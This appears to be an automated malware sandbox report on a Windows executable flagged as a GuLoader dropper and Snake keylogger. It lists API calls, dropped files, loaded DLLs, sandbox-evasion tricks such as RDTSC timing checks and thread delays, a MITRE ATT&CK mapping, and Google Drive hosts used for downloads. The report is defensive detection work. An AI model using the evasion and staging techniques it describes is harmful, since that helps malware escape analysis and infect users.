Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50062 version: TLS 1.2

Source: C:\Users\user\Desktop\QNuQ5e175D.exe

Code function: 0_2_0040573B GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040573B

Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 0_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_00403552
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 3_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		3_2_00403552

Source: C:\Users\user\Desktop\QNuQ5e175D.exe	File created: C:\Windows\Fonts\frostluften			Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	File created: C:\Windows\Fonts\frostluften\Mangrate			Jump to behavior

Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 0_2_00406DE6	0_2_00406DE6
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 0_2_004075BD	0_2_004075BD
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 0_2_73B01BFF	0_2_73B01BFF
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 3_2_00406DE6	3_2_00406DE6
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 3_2_004075BD	3_2_004075BD

Source: C:\Users\user\Desktop\QNuQ5e175D.exe

Code function: String function: 00402DCB appears 51 times

Source: QNuQ5e175D.exe

Static PE information: invalid certificate

Source: QNuQ5e175D.exe, 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameclanfellow tangleberry.exe4 vs QNuQ5e175D.exe
Source: QNuQ5e175D.exe, 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameclanfellow tangleberry.exe4 vs QNuQ5e175D.exe
Source: QNuQ5e175D.exe	Binary or memory string: OriginalFilenameclanfellow tangleberry.exe4 vs QNuQ5e175D.exe

Source: QNuQ5e175D.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal68.troj.evad.winEXE@3/5@2/2

Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 0_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_00403552
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 3_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		3_2_00403552

Source: C:\Users\user\Desktop\QNuQ5e175D.exe

Code function: 0_2_004049E7 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004049E7

Source: C:\Users\user\Desktop\QNuQ5e175D.exe

Code function: 0_2_004021CF CoCreateInstance,

0_2_004021CF

Source: C:\Users\user\Desktop\QNuQ5e175D.exe

File created: C:\Users\user\AppData\Local\skattekode

Jump to behavior

Source: C:\Users\user\Desktop\QNuQ5e175D.exe

File created: C:\Users\user\AppData\Local\Temp\nsd8F6D.tmp

Jump to behavior

Source: QNuQ5e175D.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\QNuQ5e175D.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\QNuQ5e175D.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: QNuQ5e175D.exe	Virustotal: Detection: 63%
Source: QNuQ5e175D.exe	ReversingLabs: Detection: 44%

Source: C:\Users\user\Desktop\QNuQ5e175D.exe

File read: C:\Users\user\Desktop\QNuQ5e175D.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\QNuQ5e175D.exe "C:\Users\user\Desktop\QNuQ5e175D.exe"
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Process created: C:\Users\user\Desktop\QNuQ5e175D.exe "C:\Users\user\Desktop\QNuQ5e175D.exe"
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Process created: C:\Users\user\Desktop\QNuQ5e175D.exe "C:\Users\user\Desktop\QNuQ5e175D.exe"	Jump to behavior

Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\QNuQ5e175D.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: QNuQ5e175D.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.1535894824.000000000446C000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2559418196.00000000017EC000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\QNuQ5e175D.exe

Code function: 0_2_73B01BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_73B01BFF

Source: C:\Users\user\Desktop\QNuQ5e175D.exe

Code function: 0_2_73B030C0 push eax; ret

0_2_73B030EE

Source: C:\Users\user\Desktop\QNuQ5e175D.exe

File created: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\QNuQ5e175D.exe	API/Special instruction interceptor: Address: 4B06ED2
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	API/Special instruction interceptor: Address: 1E86ED2

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\QNuQ5e175D.exe	RDTSC instruction interceptor: First address: 4AD9B1D second address: 4AD9B1D instructions: 0x00000000 rdtsc 0x00000002 test bl, cl 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F74F0F9A0D8h 0x00000008 inc ebp 0x00000009 inc ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	RDTSC instruction interceptor: First address: 1E59B1D second address: 1E59B1D instructions: 0x00000000 rdtsc 0x00000002 test bl, cl 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F74F0F9B148h 0x00000008 inc ebp 0x00000009 inc ebx 0x0000000a rdtsc

Source: C:\Users\user\Desktop\QNuQ5e175D.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\QNuQ5e175D.exe TID: 7992	Thread sleep count: 42 > 30			Jump to behavior
Source: C:\Users\user\Desktop\QNuQ5e175D.exe TID: 7992	Thread sleep time: -420000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 0_2_004068D4 FindFirstFileW,FindClose,	0_2_004068D4
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 0_2_00405C83 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C83
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 0_2_00402930 FindFirstFileW,	0_2_00402930
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 3_2_00402930 FindFirstFileW,	3_2_00402930
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 3_2_004068D4 FindFirstFileW,FindClose,	3_2_004068D4
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	Code function: 3_2_00405C83 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_00405C83

Source: QNuQ5e175D.exe, 00000003.00000003.1617239451.0000000003A6F000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1768535254.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892630990.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1757399705.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1780110033.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1791818626.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A08000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1628221931.0000000003A6F000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1745863415.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1881137157.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: QNuQ5e175D.exe, 00000003.00000003.1617239451.0000000003A6F000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1768535254.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892630990.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1757399705.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1780110033.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1791818626.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1628221931.0000000003A6F000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1745863415.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1881137157.0000000003A6B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A61000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW!

Source: C:\Users\user\Desktop\QNuQ5e175D.exe	API call chain: ExitProcess graph end node			graph_0-4195
Source: C:\Users\user\Desktop\QNuQ5e175D.exe	API call chain: ExitProcess graph end node			graph_0-4198

Source: C:\Users\user\Desktop\QNuQ5e175D.exe

Code function: 0_2_73B01BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_73B01BFF

Source: C:\Users\user\Desktop\QNuQ5e175D.exe

Process created: C:\Users\user\Desktop\QNuQ5e175D.exe "C:\Users\user\Desktop\QNuQ5e175D.exe"

Jump to behavior

Source: C:\Users\user\Desktop\QNuQ5e175D.exe

Code function: 0_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403552

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	11 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Access Token Manipulation	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	23 System Information Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
QNuQ5e175D.exe	64%	Virustotal		Browse
QNuQ5e175D.exe	45%	ReversingLabs	Win32.Spyware.Snakekeylogger

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll	0%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
drive.google.com	172.217.16.142	true	false		high
drive.usercontent.google.com	142.250.184.225	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.google.com	QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A61000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1628142286.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2037793311.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	QNuQ5e175D.exe, 00000003.00000003.1892630990.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1847687586.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1903523473.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1825678658.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2138998807.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1813958035.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1617206388.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1642477593.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2468233736.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892606488.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1858349107.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1690308078.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1993229355.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1847731615.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1605210077.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1768510854.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1735078700.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1712715094.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2071438083.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2093555969.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1870054618.0000000003A81000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/Z	QNuQ5e175D.exe, 00000003.00000003.2127459901.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2149994791.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1642418562.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1881033712.0000000003A82000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1925981246.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1937805348.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1948379458.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1847687586.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1903523473.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1825678658.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2138998807.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1813958035.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1617206388.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1642477593.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2468233736.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892606488.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1858349107.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1690308078.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1993229355.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1847731615.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1605210077.0000000003A81000.00000004.00000020.00020000.00000000.sdmp	false	high
https://apis.google.com	QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A61000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1628142286.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2037793311.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	QNuQ5e175D.exe	false	high
https://drive.google.com/i	QNuQ5e175D.exe, 00000003.00000003.1642418562.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1642477593.0000000003A81000.00000004.00000020.00020000.00000000.sdmp	false	high
